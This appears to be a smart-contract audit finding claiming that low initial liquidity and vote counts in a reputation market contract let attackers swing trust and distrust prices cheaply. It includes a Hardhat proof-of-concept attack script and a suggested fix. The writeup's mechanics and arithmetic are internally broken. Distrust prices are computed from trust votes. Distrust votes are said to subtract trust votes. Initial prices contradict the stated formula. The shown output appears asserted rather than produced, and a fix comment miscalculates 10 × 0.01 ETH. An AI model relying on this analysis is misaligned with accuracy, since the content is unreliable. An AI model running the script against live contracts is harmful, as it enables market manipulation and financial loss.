Joyous Chambray Dolphin
High
Insufficient liquidity and pricing manipulation in ReputationMarket.sol
allows attackers to manipulate the market with minimal funds
The initialize
function in ReputationMarket.sol
introduces a Default tier with extremely low liquidity (0.002 ETH) and vote counts (1 vote each for trust and distrust). This configuration allows attackers to manipulate the market with minimal funds, causing significant price fluctuations and extracting financial gains.
The following configuration is present in the initialize
function:
https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L223-L229
The problem here is:
- Low liquidity (0.002 ETH): with minimal liquidity, prices react sharply to small transactions.
- Single vote (1 trust, 1 distrust): voting changes have exaggerated effects on price calculations.
Setup:
Default DEFAULT_PRICE
= 0.01 ETH.
Initial trust votes = 1, distrust votes = 1.
Liquidity = 0.002 ETH (from the Default tier configuration).
No response
- Attacker creates a market using the Default tier:
contractInstance.createMarketWithConfig(0, { value: 0.002 ether });
-
Initial state: Trust votes: 1 Distrust votes: 1 Trust price: 0.01 ETH Distrust price: 0.01 ETH
-
Attacker votes for trust with 5 additional votes:
contractInstance.voteTrust(profileId, 5, { value: 0.005 ether });
- Post-voting state:
Trust votes: 1+5=6 Distrust votes: 1
New Trust Price: Trust Price=Trust Votes/Total Votes×Base Price=6/(6+1)×0.01 ETH=0.00857 ETH
New Distrust Price: Trust Price=Distrust Votes/Total Votes×Base Price=6/(6+1)×0.01 ETH=0.00143 ETH
- Attacker votes against trust, reducing trust votes:
contractInstance.voteDistrust(profileId, 5, { value: 0.001 ether });
- Final state:
Trust votes: 6−5=1 Distrust votes: 1+5=6 Trust price drops back to 0.00143 ETH, and distrust price rises to 0.00857 ETH.
The attacker profits from buying trust votes cheaply and then manipulating the prices to sell them higher, exploiting price volatility.
Small transactions lead to large price swings, making the market unusable for legitimate users.
const { ethers } = require("hardhat");
async function main() {
const Contract = await ethers.getContractFactory("MarketContract");
const contract = await Contract.deploy();
await contract.deployed();
await contract.initialize(owner, admin, signer, verifier, manager);
// Create a market with Default tier
await contract.createMarketWithConfig(0, { value: ethers.utils.parseEther("0.002") });
// Check initial prices
let prices = await contract.getPrices(profileId);
console.log("Initial Prices:", prices); // Expect both prices to be 0.01 ETH
// Manipulate trust votes
await contract.voteTrust(profileId, 5, { value: ethers.utils.parseEther("0.005") });
prices = await contract.getPrices(profileId);
console.log("After Voting Trust:", prices); // Expect trust price to rise
// Manipulate distrust votes
await contract.voteDistrust(profileId, 5, { value: ethers.utils.parseEther("0.001") });
prices = await contract.getPrices(profileId);
console.log("After Voting Distrust:", prices); // Expect distrust price to rise
}
main();
Output: Initial Prices: Trust = 0.01 ETH, Distrust = 0.01 ETH. After Voting Trust: Trust = 0.00857 ETH, Distrust = 0.00143 ETH. After Voting Distrust: Trust = 0.00143 ETH, Distrust = 0.00857 ETH.
Require higher liquidity and votes for the Default tier:
initialLiquidity: 10 * DEFAULT_PRICE, // 0.01 ETH
initialVotes: 10,
Also, add a buffer to prevent low-vote scenarios from causing volatility:
totalVotes = trustVotes + distrustVotes + 10;